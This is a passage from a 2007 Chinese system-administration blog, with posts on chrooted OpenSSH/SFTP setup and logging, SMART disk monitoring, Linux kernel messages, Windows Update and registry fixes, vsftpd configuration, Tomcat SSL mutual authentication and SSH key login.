cp contrib/redhat/sshd.init /etc/rc.d/init.d/sshd

1.8 重建 pam.d/sshd
cat /etc/pam.d/sshd
#%PAM-1.0
auth required pam_stack.so service=system-auth
auth required pam_nologin.so
account required pam_stack.so service=system-auth
password required pam_stack.so service=system-auth
session required pam_stack.so service=system-auth

1.9 openssh支持sftp上传下载日志记录
vi /etc/ssh/sshd_config

LogSftp yes
SftpLogFacility AUTH

vi /etc/syslog.conf
auth,authpriv.* /var/log/sftp.log

service syslog restart

1.10 重启 sshd
service sshd start

2 配置sshd以支持chroot

2.1 构建chroot环境

2.1.1 使用环境变量,方便
export CHROOT_PATH=/home/vitter

2.1.2 创建基本目录
mkdir -p $CHROOT_PATH/{bin,home,usr,lib}
chown -R root.root $CHROOT_PATH
cd $CHROOT_PATH

2.1.3 创建 /bin/bash环境
cp /bin/bash $CHROOT_PATH/bin/bash
for a in $(ldd /bin/bash | awk '{print $3}')
do
[ -e $CHROOT_PATH`dirname $a` ] || mkdir -p $CHROOT_PATH`dirname $a`
cp -f $a $CHROOT_PATH$a;
done

2.1.4 创建 sftp-server 环境
export SFTP_SERVER=`grep Subsystem /etc/ssh/sshd_config | awk '{print $3}'`
echo $SFTP_SERVER
mkdir -p $CHROOT_PATH/`dirname $SFTP_SERVER`
cp $SFTP_SERVER $CHROOT_PATH$SFTP_SERVER
for a in $(ldd $SFTP_SERVER | awk '{print $3}')
do
[ -e $CHROOT_PATH`dirname $a` ] || mkdir -p $CHROOT_PATH`dirname $a`
cp -f --reply=yes $a $CHROOT_PATH$a;
done

chroot环境已经搭建完毕,只有一个bash可供使用
sftp-server,是为了相应用户的sftp登陆的

2.2 配置chroot-openssh

2.2.1 添加或指定享受此待遇的用户,这里以sftptest为例
useradd -d /home/sftptest sftptest
mv /home/sftptest $CHROOT_PATH/home/sftptest
ln -s $CHROOT_PATH/home/sftptest /home/sftptest
passwd sftptest

这里使用了软连接,为了保持chroot环境和实际环境的一致。

2.2.2 修改sshd配置
[vi /etc/ssh/sshd_config]
UsePAM yes

2.2.3 修改sshd.pam配置
[vi /etc/pam.d/sshd]
session required pam_chroot.so

2.2.4 修改chroot配置
echo sftptest $CHROOT_PATH >> /etc/security/chroot.conf

2.2.5 重新启动
service sshd restart

3 可选操作,增加安全性
chattr -R +i $CHROOT_PATH
chattr -R -i $CHROOT_PATH/home

Posted by vitter at 2007-04-30 14:25:28 | 评论 (2) | 引用

April 28, 2007

ssh 记录sftp上传下载等日志

在ssh的配置文件里面加上这行:
SftpSysLogFacility LOCAL7
在/etc/syslog.conf加上这行:
local7.notice /var/log/sftp
重启syslog和ssh服务,之后sftplog记录到/var/log/sftp里面

Posted by vitter at 2007-04-28 17:16:00 | 评论 (4) | 引用

sftp logging patch for OpenSSH让sftp记录上传下载日志

sftp logging patch for OpenSSH是个能让openssh的sftp能记录用户log的补丁程序。
装好后在 sshd_config 加入 LogSftp yes
log 会记录在/var/log/auth.log
如果还看不到/var/log/auth.log的话请检查/etc/syslog.conf 里auth 的设置

Posted by vitter at 2007-04-28 16:49:57 | 评论 (0) | 引用

April 25, 2007

提前了解硬盘健康的SMART工具软件

现在的硬盘的容量和速度越来越快了,故障率也比前的东西高,总觉得现在的质量没有以前的好,数据都放在里面,要有故障造成的损失可大可小,有没有简单的方法可提前发现硬盘的状态,做好准备。有个smartmontools 软件包只用2个命令smartctl和smartd ,软件在http://smartmontools.sourceforge.net/
  
SMART
  SMART(SFF-8035i) 是硬盘生产商们建立的一个工业标准,这个标准就是在硬盘上保存一个跟执行情况,可靠程度,读找错误率等属性的表格。所有属性都有一个1byte(大小范围 1-253)的标准化值,还包含另一个1byte的关键阶段值,如果属性表格内某个数据接近小于或达到关键阶段值,那么你的硬盘就快跟你永别了,至少也是超过它的设计使用极限了- 该做备份和最坏的打算了。
  
  SFF-8035i工业标准经过ATA-3,ATA-4到了ATA-5,加入了一个错误信息文件(error log) 和一系列硬盘自测SMART命令。SMART适应与IDE和SCSI硬盘。
支持平台:
Mac OSX, Linux, FreeBSD, NetBSD, OpenBSD, Solaris, OS/2, eComStation or Windows system
在windows下可以个:smartmontools-5.36-1.win32.zip 解压出
binsmartctl.exe,smartd.exe,syslogevt.exe
doc*
3个主要文件smartctl.exe,smartd.exe,syslogevt.exe,为方便把它拷到C:
在命令提示符下:
C:>smartd.exe <--先运行smart
C:>smartd.exe
smartd: already running.
Use "smartd status|stop|reload|restart|sigusr1|sigusr2" to control daemon.
说明已经在跑
查一下硬盘是否支持SMART
C:>smartctl -i /dev/hda
smartctl version 5.36 [i686-mingw32-xp-sp2] Copyright (C) 2002-6 Bruce Allen
Home page is http://smartmontools.sourceforge.net/
=== START OF INFORMATION SECTION ===
Model Family: IBM/Hitachi Deskstar GXP-180 family
Device Model: IC35L120AVV207-0
Serial Number: VNVD30G4C9VP0T
Firmware Version: V24OA66A
User Capacity: 120,034,123,776 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 6
ATA Standard is: ATA/ATAPI-6 T13 1410D revision 3a
Local Time is: Thu Apr 20 11:47:15 2006
SMART support is: Available - device has SMART capability.
Enabled status cached by OS, trying SMART RETURN STATUS cmd.
SMART support is: Enabled
简单查一下硬盘健康状态
C:>smartctl -H /dev/hda
smartctl version 5.36 [i686-mingw32-xp-sp2] Copyright (C) 2002-6 Bruce Allen
Home page is http://smartmontools.sourceforge.net/
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED
如果你的self-assessment test result是FAILING,那就是说它要完蛋了,快点做准备工作
  查硬盘历史错误信息(error log)
  smartctl -l error /dev/hda
  
  硬盘自测
  smartctl -l selftest /dev/hda
  
  终止硬盘自测。
  smartctl -X /dev/hda
其它的想了解更多的可用 C:>smartctl -h
实现的功能可能没有LINUX下多?
smartmontools在LINUX和其它的系统上,有源包和适合各系统的软件包,通常新版的LINUX,如Redhat4,Fedora3以上都有安装了,如你手痒的话可以装源包
具体的下载和安装,参考http://smartmontools.sourceforge.net/的“How to download and install smartmontools”这里不细说,LINUX下
[root@localhost ~]# vi /etc/smartd.conf
/dev/sda -H -m root@localhost.localdomain
设置文件smartd.conf,有一个“-m”的选项,它设定把信息mail给谁。
  
SMART 只是提醒工具,但不能帮你做备份。要真正的让SMART为你服务,应该好好读写smartd & smartd.conf 的注释, 让其后台程序在一定情况下提醒你(mail)有些关键值达到了危险区域, 以上给出的几个命令是在你开始感到情况不妙的时候进行的手工测试
注:在vmware下虚拟的RedhatLinux的SMART是起不来的,因虚拟的硬盘是不支持SMART的。

Posted by vitter at 2007-04-25 13:23:13 | 评论 (1) | 引用

April 23, 2007

linux服务器前台常出现的提示及含意

一般类的提示
eth1: Too much work at interrupt, IntrStatus=0x0001
这条提示的含意为. 某网卡的中断请求过多. 如果只是偶尔出现一次可忽略. 但这条提示如果经常出现或是集中出现,那涉及到的可能性就比较多有可能需要进行处理了. 可能性比较多,如网卡性能;服务器性能;网络攻击..等等.

一般类的提示
IPVS: incoming ICMP: failed checksum from 61.172.0.X!
服务器收到了一个校验和错误的ICMP数据包. 这类的数据包有可能是非法产生的垃圾数据.但从目前来看服务器收到这样的数据非常多.一般都忽略.
一般代理服务器在工作时会每秒钟转发几千个数据包.收到几个错误数据包不会影响正常的工作.
这是问我最多的一类提示了.

一般类的提示
kernel: NET: N messages suppressed.
服务器忽略了 N 个数据包.和上一条提示类似.服务器收到的数据包被认为是无用的垃圾数据数据. 这类数据多是由攻击类的程序产生的.
这条提示如果 N 比较小的时候可以忽略.但如果经常或是长时间出现3位数据以上的这类提示.就很有可能是服务器受到了垃圾数据类的带宽攻击了.

一般类的提示
kernel: UDP: bad checksum. From 221.200.X.X:50279 to 218.62.X.X:1155 ulen 24
kernel: UDP: short packet: 218.2.X.X:3072 3640/217 to 222.168.X.X:57596
kernel: 218.26.131.X sent an invalid ICMP type 3, code 13 error to a broadcast: 0.1.0.4 on eth0
服务器收到了一个错误的数据包.分别为 UDP校验和错误; 过短的UDP数据包; 一个错误的ICMP类型数据. 这类信息一般情况下也是非法产生的.
但一般问题不大可直接忽略.

一般类的提示
kernel: conntrack_ftp: partial 227 2205426703+13
服务器在维持一条FTP协议的连接时出错. 这样的提示一般都可以直接忽略.

网络通信严重问题!
kernel: NETDEV WATCHDOG: eth1: transmit timed out
kernel: eth1: link down
kernel: eth1: link up, 10Mbps, half-duplex, lpa 0x0000
kernel:eth2: link up, 100Mbps, full-duplex, lpa 0x41E1
setting full-duplex based on MII #24 link partner capability of 45e1
这些提示是网络通信中出现严重问题时才会出现. 故障基本和网络断线有关系. 这几条提示分别代表的含意是 某块网卡传送数据超时; 网卡连接down; 网卡连接up,连接速率为10/100Mbps,全/半双功.
这里写到的最后三行的提示比较类似. 出现这类提示时必须注意网络连接状况进行处理!!!

报警程序的提示
0001 ##WMPCheckV001## 2005-04-13_10:10:01 Found .(ARP Spoofing sniffer)! IP:183 MAC:5
0002 ##WMPCheckV001## 2005-04-07_01:53:32 Found .(MAC_incomplete)! IP:173 mac_incomplete:186
0003 ##WMPCheckV001## 2005-04-17_16:25:11 Found .(HIGH_synsent)! totl:4271 SynSent:3490
0004 ##WMPCheckV001## 20......
这是由报警程序所引起的提示. 详细的信息需要用报警程序的客户端进行实时接收.详细情况请查看"告警模块和日志".

一般类的提示
kernel: eth1: Promiscuous mode enabled.
kernel: device eth1 entered promiscuous mode
kernel: device eth1 left promiscuous mode
这几行提示指. 某块网卡进入(离开)了混杂模式. 一般来说混杂模式是当需要对通信进行抓包时才用到的. 当使用维护或故障分析时会使用到(比如consoletools中的countflow命令). 正常产生的这类提示可以忽略.
如果在前台和远端都没有进行维护时出现这个提示倒是应该引起注意,但这种可能性不大.

基本无关
kernel: keyboard: unknown scancode e0 5e
键盘上接收到未定义的键值. 如果经常出现.有可能是键盘有问题. linux对于比较特殊的键或是组合键,有时也会出这样的提示.
要看一下服务器的键盘是不是被压住了. 其它情况一般忽略.

基本无关
uses obsolete (PF_INET,SOCK_PACKET)
系统内核调用了一部分功能模块,在第一次调入时会出现. 一般情况与使用调试工具有关. 可直接忽略.

Posted by vitter at 2007-04-23 04:26:05 | 评论 (0) | 引用

April 22, 2007

光驱注册表可能已损坏。 (代码 19) 解决方案

家里一台2000上换了块光驱,发现不能用,查看系统发现硬件前面有黄色感叹号,无法使用,具体的错误是:注册表可能已损坏。 (代码 19)
用如下方法恢复的:进入注册表,到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11C E-BFC1-08002BE10318} 删除“upperfilter”项和“loweverfilter”项 重起计算机

Posted by vitter at 2007-04-22 10:29:44 | 评论 (0) | 引用

April 21, 2007

windows自动更新(Automatic Updates)SVCHOST.exe占用CPU 100%解决方案

家里有台机器自动更新服务总是占CPU100%,然后查了下资料,最后解决方案如下:

1、对于XP、2003

当系统通知区域显示黄盾图标的时候就是在进行“自动更新”(Automatic Updates)操作,出现SVCHOST.exe占用CPU 100%的问题已被微软官方验证是系统问题,微软官方已提供补丁来解决这个问题,请见:
http://support.microsoft.com/kb/932494/zh-cn
http://support.microsoft.com/kb/927891/zh-cn
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=7a81b0cd-a0b9-497e-8a89-404327772e5a

注:当安装基于Windows Installer 3.1安装包的程序出现SVCHOST.exe占用CPU 100%的问题的时候也可以参考上面的解决办法。

2、对于2000

当你运行 Windows 自动更新、Windows Update、 Microsoft Update 等进行更新时出现意外而被中止,或者使用通过“自动更新”累积的数据太多,一段时间之后,都会造成“正在查找适用于您计算机的最新更新程序...”运行时的困难而缓慢工作,久而久之,你的 Windows 自动更新就彻底崩溃了,即而出现 CPU 一直占用 100% 的情况。如果此时你已经把 Windows 自动更新打开,在计算机开机不久后,只要接入了网络,联络到微软的服务器上,就会出现这种情况,机器变的异常缓慢,一个 svchost.exe 进程占用内存极高,机器无法正常工作。顺便说明一下,无网络的情况下,是不会出现这种情况的。怎么办呢,重新安装系统?太夸张了吧,把“自动更新”彻底停用?这也说不过去的哦!

不要嫌麻烦了,参照下面的步骤进行解决吧,这样还是方便些...

一、关闭自动更新(我的电脑-属性-自动更新-关闭), 重新启动计算机,如下检查或操作

1. 点“开始-运行”, 输入 services.msc 并回车
2. 双击服务 Automatic Updates
3. 点“登录”选项卡, 确保选项“本地系统帐户”被选中,并其中的“允许服务与桌面交互”不被选中
4. 检查下面“硬件配置文件”中的服务已经启用,如果没有,请点击“启用”按钮,激活它
5. 点回“常规”选项卡,设“启动类型”为“自动”,在“服务状态”下面点击“启动”按钮,开启这个服务
6. 重复上面的步骤,对另一个服务: Background Intelligent Transfer Service (BITS) 进行同样的操作,一定要开启此服务,很多人会忽视它

二、重新注册 Windows Update 组件

1.点“开始-运行”, 输入命令 REGSVR32 WUAPI.DLL 并回车
2.当你看到“WUAPI.DLL中的 DllRegisterServer 成功”这个消息就说明成功了
3.请重复这个步骤,逐一运行下面的命令
REGSVR32 WUAUENG.DLL
REGSVR32 WUAUENG1.DLL
REGSVR32 ATL.DLL
REGSVR32 WUCLTUI.DLL
REGSVR32 WUPS.DLL
REGSVR32 WUPS2.DLL
REGSVR32 WUWEB.DLL

三、清除被破坏的 Windows Update 临时文件夹

1. 点“开始-运行”,输入命令 net stop WuAuServ 并回车
2. 点“开始-运行”, 输入命令 %windir% 并回车,在打开的文件夹窗口中,找到文件夹 SoftwareDistribution 把它改名成 SoftwareDistribution1(或别的,可任意)
3. 点“开始-运行”, 输入命令 net start WuAuServ 并回车

四、重新启动计算机,点“我的电脑 - 属性 - 自动更新”把“自动(推荐)”选中,或者定期打开下面地址进行 你的 Windows 更新吧
http://update.microsoft.com/windowsupdate/v6/default.aspx?ln=zh-cn
本人推荐定期去网站更新,不要打开“自动更新”功能,这样即使出了问题也好解决

注:在你使用“自动更新”一段时间后,也可能就会重新出现这个棘手的毛病,这完全是微软方面的事,我在这也不想多说,你只要重新按照上面的步骤搞一下就能恢复如初了。

参考翻译自:

If you turn on automatic updating for you machine, every Tuesday-ish, Microsoft will send you patches, and they'll quietly install. Amazingly, these patches (at least for me) never break anything. Until now, that is. After a recent update, my machine would spit out the following message every time I would boot.

svchost.exe -- application error the instruction at "0x745f2780" reference memory at "0x00000000". the memory could not be 'read'

Looking into the event log yielded the following:

Faulting application svchost.exe, version 5.1.2600.2180, faulting module msi.dll, version 3.1.4000.2435, fault address 0x00012780.

The problem wasn't so much this error message, but the fact then when the dialog with the error was closed, the machine became unusable (no new executables would start). If I left the dialog open, I could use my machine "normally", but it would hang on shutdown.

Something with Windows Update broke something with the Windows Installer. Reinstalling Windows Installer 3.1 didn't solve the problem, but the follow spelunked from Google saved my bacon:

Perform these steps leaving the svchost crash dialog open.

1. Click Start->Run, type "services.msc" (without quotation marks) in the open box and click OK.
2. Double click the service "Automatic Updates".
3. Click on the Log On tab, please ensure the option "Local System account" is selected and the option "Allow service to interact with desktop" is unchecked.
4. Check if this service has been enabled on the listed Hardware Profile. If not, please click the Enable button to enable it.
5. Click on the tab "General "; make sure the "Startup Type" is "Automatic". Then please click the button "Start" under "Service Status" to start the service.
6. Repeat the above steps with the other service: Background Intelligent Transfer Service (BITS)

Step 4: Re-register Windows Update components and Clear the corrupted Windows Update temp folder
================================

1. Click on Start and then click Run,
2. In the open field type "REGSVR32 WUAPI.DLL" (without quotation marks) and press Enter.
3. When you receive the "DllRegisterServer in WUAPI.DLL succeeded" message, click OK.
4. Please repeat these steps for each of the following commands:

REGSVR32 WUAUENG.DLL
REGSVR32 WUAUENG1.DLL
REGSVR32 ATL.DLL
REGSVR32 WUCLTUI.DLL
REGSVR32 WUPS.DLL
REGSVR32 WUPS2.DLL
REGSVR32 WUWEB.DLL

After the above steps are finished. Sicne temporary folder of Windows Update may be corrupted. We can refer to the following steps to rename this folder that

1. Click Start, Run, type: cmd and press Enter. Please run the following command in the opened window.

net stop WuAuServ

(note, you might need to reboot before the net stop command will work)

2. Click Start, Run, type: %windir% and press Enter.
3. In the opened folder, rename the folder SoftwareDistribution to SDold.
4. Click Start, Run, type: cmd and press Enter. Please run the following command in the opened window.

net start WuAuServ

UPDATE: This post has received a ton of comments. One, in particular, suggests an easier fix for this problem:

1.Go 2 the start menu
2.Right click "my computer"
3.Click "properties" then the "automatic updates"
4.Choose "turn off automatic updates"
5.Reboot your computer
6.Go back to start menu and in all programs go to "windows update" you have to be connected to the internet.
7.Manually update windows.
8.Turn your automatic updates back on.

I have also had a number of people comment that the problem reappears after some time. The recommended fix, if the problem reappears, is to turn off automatic updates, and just manually go to Windows Update periodically and update your machine.

Thanks for all the comments. I've very please to know that this is solving the problem for many people.

Posted by vitter at 2007-04-21 20:32:25 | 评论 (0) | 引用

April 18, 2007

vsftpd安装和配置文件的注释解析

一、安装
vsftpd, redhat自带的ftp工具,非常实用而且安全。在安装linux时选择安装ftp,如果没有安装的则可以在图形环境下单击"主菜单→系统设置→添加删除应用程序"菜单项,在出现的"软件包管理"对话框里确保选中"FTP服务器"选项,然后单击"更新"按钮,按照屏幕提示用系统盘直接安装或到官方ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.0.5.tar.gz下载。

可以用rpm –q vsftpd 来查看是否安装了vsftpd

二、vsftpd的配置文件注释解析

安装了vsftpd,要配置属于自己的ftp,就要了解它

vsftpd有4个配置文件:

vsftpd.conf(主配置文件,在/etc/vsftpd)

vsftpd.chroot_list(根据主配置文件是否将用户限制在家目录列表,在/etc)

vsftpd.ftpusers(不允许登陆ftp用户列表,在/etc)

vsftpd.user_list(根据主配置文件是否允许登陆ftp用户列表,在/etc)

下面具体说下主配置文件vsftpd.conf

vsftpd.conf中带“#”的是注释行,是不去执行的代码。

除去多余的注释,其内容如下:

anonymous_enable=YES //允许匿名用户登陆

local_enable=YES //允许本地用户登录

write_enable=YES //开启全局写的权限

local_umask=022 //用户上传的文件权限,默认077

#anon_upload_enable=YES //允许匿名用户上传文件

#anon_mkdir_write_enable=YES //允许匿名用户创建目录

dirmessage_enable=YES //用户首次进入新目录显示欢迎信息

xferlog_enable=YES //是否激活上传和下传的日志?可以通过 vsftpd_log_file 选项来指定log的位置

connect_from_port_20=YES //启用FTP数据端口的数据连接。

#chown_uploads=YES //是否激活将所有匿名上载的文件的宿主调整为 chown_username 中指定的用户

#chown_username=whoever

#xferlog_file=/var/log/vsftpd.log //日志文件在var/log/vsftpd.log。

xferlog_std_format=YES //使用标准的日志格式。

#idle_session_timeout=600 //连接空闲最长时间,秒

#data_connection_timeout=120 //数据连接超时时间,秒

#nopriv_user=ftpsecure //指定一个用户, 当 vsftpd 要切换到无权限状态时, 使用此用户

#async_abor_enable=YES //激活一个特别的 FTP 命令 "async ABOR"

#ascii_upload_enable=YES //启用上传的ASCII传输方式。

#ascii_download_enable=YES //启用下载的ASCII传输方式。

#ftpd_banner=Welcome to blah FTP service. //显示欢迎信息。

#deny_email_enable=YES //提供一个禁止匿名用户用做密码的 e-mail 地址列表

# (default follows)

#banned_email_file=/etc/vsftpd.banned_emails //e-mail地址列表文件

#chroot_list_enable=YES //启用chroot用户里表功能,如果启用了chroot_local_user选项, 此文件所包含的则为不会被限制在家目录中的用户列表.

# (default follows)

#chroot_list_file=/etc/vsftpd.chroot_list

#ls_recurse_enable=YES //允许用户使用 "ls"命令

pam_service_name=vsftpd //用于指定 PAM 服务的名称

userlist_enable=YES //是否从 userlist_file 选项指定的文件中加载一个用户名列表

listen=YES //是否让vsftpd以独立模式运行

tcp_wrappers=YES //是否编译 vsftpd 时加入对 TCP_Wrappers 的支持

我们可以根据自己的情况进行相应的配置了,这里面需要注意的有以下几点(个人意见)

1.对匿名用户的配置:如果需要开启匿名用户的上传和修改权限,除了需要设置anon_upload_enable=YES和write_enable=TES外,还需要对匿名用户所需要上传的文件夹给予相应的权限chmod o+w /文件夹路径(给予除该文件夹所有者以外用户写的权限)。默认的文件权限是不允许除文件所有者以外的用户对该文件进行写入和修改操作的。

2.vsftpd.chroot_list:它是限制用户离开主目录列表(一行一个用户),默认路径在/etc/,也可以用chroot_list_file来指定它的路径。用chroot_list_enable=YES/NO设置是否启用它。启用后,当chroot_local_user(是否关闭已有的限制所有系统用户设置)=NO时,该列表中的用户将被限制到它的主目录中,不允许登陆其它目录;chroot_local_user=YES时,该列表中的用户将不受限制。个人建议启用并且不关闭已有的用户限制,不允许系统用户登陆ftp,设置不允许登陆系统的ftp专用用户加载到列表中,这样可以曾强ftp的安全性。

3.vsftpd.user_list:它是限ftp访问用户列表(一行一个用户),默认路径在/etc/,也可以用Userlist_file来指定它的路径。用userlist_enable=YES 来设置是否启用它。启用后,当userlist_deny=NO时,该列表中的用户将会在询问密码前被拒绝。当userlist_deny=YES时,只有该列表中的用户才被允许登陆。

4.对ftp数据连接端口的设定:大家都知道ftp标准的连接端口是21,如果我们把ftp的数据连接端口设置成非标准端口的话,遭受攻击的可能性就会更小。我们可以用Listen_port=端口,来设定一个非标准的端口。

5.其它的安全设置:

accept_timeout=60(秒) (将客户端空闲1分钟后断)

connect_timeout=60(秒) (中断1分钟后又重新连接)

local_max_rate=50000(bite) (本地用户传输率50K)

anon_max_rate=30000(bite) (匿名用户传输率30K)

pasv_min_port=50000 (将客户端的数据连接端口改在

pasv_max_port=60000 50000—60000之间)

max_clients=200 (FTP的最大连接数)

max_per_ip=4 (每IP的最大连接数)

listen_address=ip address (如果服务器有多ip用此绑定需要监听的ip)
ps –xf |grep (查看谁登陆了ftp) ftp kill 进程号 (杀掉它)
三、配置

有了这些资料,相信不难配置出适合自己的ftp了,接下来就开始

先从vsftp.conf开始:

#######################################

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

nopriv_user=ftpuser

xferlog_enable=YES

connect_from_port_20=YES

xferlog_file=/var/log/vsftpd.log

idle_session_timeout=1800

chroot_local_user=NO

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd.chroot_list

ls_recurse_enable=YES

#匿名用户只能读取、本地用户有完全控制权、启用日志、启用vsftpd.chroot_list列表记录不允许离开主目录的用户等

anon_max_rate=300000

max_clients=50

max_per_ip=3

listen_port=xxxx

#设定非标准数据连接端口xxxx等

pam_service_name=vsftpd

userlist_enable=YES

listen=YES

tcp_wrappers=YES

#启用vsftpd.user_list列表记录不允许登陆的用户等

#######################################

这样配置不允许匿名用户有读取以外的权限,给予指定的本地用户完全控制权限。

为了方便ftp的管理和安全:

[root@localhost ~]# groupadd ftpuser //新建用户组ftpuser

[root@localhost ~]# useradd –g groupadd –d /var/ftp –s /sbin/nologin ftpuser //新建ftpuser,属于ftpuser组,家目录为/var/ftp,不允许登陆系统

[root@localhost ~]# passwd ftpuser //设置用户密码,不设置密码新建用户被锁定无法登陆

然后将除ftpuser以外的本地用户都添加到vsftpd.ftpusers和vsftpd.user_list中,不允许其它本地用户登陆ftp;将ftpuser和匿名用户(Anonymous)添加到vsftpd.chroot_list中,将ftpuser和匿名用户限制在它们的主目录/var/ftp中,不允许离开。

再设定一些安全机制如连接最大闲置时间、限制匿名用户传输速度300k、修改数据连接端口、限制最大连接数等。

配置好了vsftpd.conf,接下来再对ftp文件夹设置相应的权限就可以了。因为/var/ftp是属于root用户,并且其它用户无权对该文件夹进行写的权限,这样ftpuser用户就无法完全控制该文件夹,只有和匿名用户一样的权限,只能下载和查看。所以需要对ftp文件夹的权限进行修改:

[root@localhost var]# chgrp ftpuser ftp //把ftp的属组改为ftpuser

[root@localhost var]# chown ftpuser ftp //把ftp的属主改为ftpuser

[root@localhost var]# chmod 755 ftp //把ftp的权限改为755,只有属主有读写权限,其他用户只能读取

这样ftpuser就对ftp有了完全管理的权限,其他用户只有读取的权限。

经过以上的配置,一个实用安全的ftp就建好了。

四、补充技巧

1.在ftp中建立个人文件夹:很简单,新建文件夹a,将a的属主设为需要的用户auser,并将它的权限设为700(只给予所有者读写的权限),还要将auser加入ftpuser组使它能够登陆ftp:

[root@localhost var]# mkdir a //新建文件夹a

[root@localhost var]# chgrp auser a //把a的属组改为auser

[root@localhost var]# chown auser a //把a的属主改为auser

[root@localhost var]# chmod 700 a //把a的权限改为700,只有属主有读写权限,其他用户无任何权限

这样登陆ftp的其它用户就无法访问该文件夹了,包括上级目录所有者也无权访问。

Posted by vitter at 2007-04-18 17:57:23 | 评论 (0) | 引用

April 11, 2007

Tomcat双向认证

Tomcat双向认证的问题这么多,贴一篇我总结的Tomcat双向认证方法

tomcat实现SSL配置

tomcat实现SSL配置
编辑tomcat的配置文件server.xml,去掉下面SSL Connector的注释,修改为如下:

port="8443" minProcessors="5" maxProcessors="75"
enableLookups="true"
acceptCount="10" debug="0" scheme="https" secure="true">
clientAuth="false" keystoreFile="tomcat.keystore"
keystorePass="tomcat" protocol="TLS"/>

keystoreFile的路径是TOMCAT的安装路径下的tomcat.keystore(使用keytool生成的证书库文件)
>keytool -genkey -alias tomcat -keyalg RSA -keysize 1024 -validity 365 -keystore tomcat.keystore
keystoreFile保存了服务器端的证书库,用于客户端认证。

常用的配置属性:
clientAuth
如果想要Tomcat为了使用这个socket而要求所有SSL客户出示一个客户证书,置该值为true。
keystoreFile
如果创建的keystore文件不在Tomcat认为的缺省位置(一个在Tomcat运行的home目录下的叫.keystore的文件),则加上该属性。可以指定一个绝对路径或依赖$CATALINA_BASE环境变量的相对路径。
keystorePass
如果使用了一个与Tomcat预期不同的keystore(和证书)密码,则加入该属性。
keystoreType
如果使用了一个PKCS12 keystore,加入该属性。有效值是JKS和PKCS12。
sslProtocol
socket使用的加密/解密协议。如果使用的是Sun的JVM,则不建议改变这个值。据说IBM的1.4.1版的TLS协议的实现和一些流行的浏览器不兼容。这种情况下,使用SSL。
ciphers
此socket允许使用的被逗号分隔的密码列表。缺省情况下,可以使用任何可用的密码。
algorithm
使用的X509算法。缺省为Sun的实现(SunX509)。对于IBM JVMS应该使用ibmX509。对于其它JVM,参考JVM文档取正确的值。
truststoreFile
用来验证客户证书的TrustStore文件。
truststorePass
访问TrustStore使用的密码。缺省值是keystorePass。
truststoreType
如果使用一个不同于正在使用的KeyStore的TrustStore格式,加入该属性。有效值是JKS和PKCS12。


使用https://localhost:8443 就可以进行ssl连接的检测

----------------------------------------------------------------------------------------
上诉的SSL连接是客户端单向认证服务器,如果双向认证,将server.xml文件的Connector配置
clientAuth="false"
Java服务器端的证书库,服务器认证客户端时使用的根证书库。
证书库位置:JAVA_HOME/jre/lib/security/cacerts keystore密码为:changeit

将客户端个人证书的根证书导入服务器的证书库,就可以认证客户端。

服务器端证书的生成:
>keytool -genkey -alias tomcat -keyalg RSA -keysize 1024 -validity 365 -keystore tomcat.keystore
>keytool -certreq -alias tomcat -file Server.csr -keystore tomcat.keystore 生成证书请求文件
使用openssl命令用根证书签名,再导入签名证书
>keytool -import -trustcacerts -alias tomcat -file Server.pem -keystore tomcat.keystore
注意-trustcacerts选项,使用服务器的证书库认证该证书,首先要将根证书导入cacerts中。

----------------------------------------------------------------------------------------
Tomcat配置SSL,我出现的问题
我用openssl创建了CA证书,Server证书,Client证书。
使用keytool将Server证书导入tomcat.keystore文件中,将Tomcat的配置文件server.xml关于SSL的配置设为 keystoreFile=tomcat.keystore.SSL连接时,客户端认证tomcat.keystore中的服务器证书。
将CA证书导入$JAVA_HOME\jre\lib\security\cacerts这个keystore中,用于验证客户端证书。
在IE中安装CA证书和Client证书(pkcs12,包含私钥的个人证书形式)。
建立SSL连接https://localhost:8443,连接失败。

经过反复思量,知道问题所在,SSL连接时,客户端认证服务器时,需要验证服务器的签名,那么tomcat.keystore中就应该有Server的私钥。所以导入Server证书时,应该导入包含私钥的Server证书。
keytool命令不能导入私钥文件,可以通过在keystore中生成自签名证书,导出证书请求,用CA证书签名后,在导回的方法。
导回签名证书的过程
>keytool -import -trustcacerts -alias tomcat -file Server.pem -keystore tomcat.keystore
注意-trustcacerts选项,使用服务器的证书库认证该证书,首先要将根证书导入Java的根证书库中:JAVA_HOME\jre\lib\security\cacerts中。

----------------------------------------------------------------------------------------
分析IE实现实现SSL连接的中的证书双向认证过程
在地址栏中输入https://localhost:8443
客户端向服务器发送hello消息,tomcat服务器侦听8443端口,收到SSL连接的hello消息,服务器发送 server certificate,并且发送client certificate request.客户端IE收到 server certificate后取出issuer项,和IE受信任的根证书库中证书的subject比对,找到合适的根证书认证 server certificate。并且同时向服务器发送client certificate,服务器收到client certificate 后,tomcat服务器查找根证书库cacerts中的根证书的suject,找到合适的根证书认证client certificate.在认证的同时完成密钥协商。客户端认证结束后,IE会弹出"安全警报"对话框,用户可以查看服务器证书,以及服务器证书是否受信任,可以选择是否继续SSL连接。

Posted by vitter at 2007-04-11 21:41:37 | 评论 (0) | 引用

April 09, 2007

Windows下SSH登录使用RSA证书认证代替密码认证

大家都介绍的是*nux机器ssh访问*nux的时候可以用RSA证书认证代替密码(当然这必须要求被登录的sshd服务器启用允许证书认证,因为我有时候不允许这个),其实windows访问sshd的时候也可以,当然你必须安装ssh或者cygwin。下面我以cygwin为例:
首先在cygwin下执行ssh-keygen -d

[vitter@securitycn ~]# ssh-keygen -d
Generating public/private dsa key pair.
Enter file in which to save the key (/home/vitter/.ssh/id_dsa): (采用缺省值,回车)
Created directory '/home/vitter/.ssh'.
Enter passphrase (empty for no passphrase): (不用密码,回车)
Enter same passphrase again: (回车)
Your identification has been saved in /home/vitter/.ssh/id_dsa.
Your public key has been saved in /home/vitter/.ssh/id_dsa.pub.
The key fingerprint is:
71:50:79:88:70:86:98:c3:b9:48:40:17:2d:21:e8:de vitter@securitycn

这样,在/home/vitter/.ssh目录下生成如下两个文件:

id_dsa
id_dsa.pub

将id_dsa.pub传到sshd服务器上。
然后把里面的内容添加到服务器要登录的用户的.ssh目录下的authorized_keys文件中(以root为例):

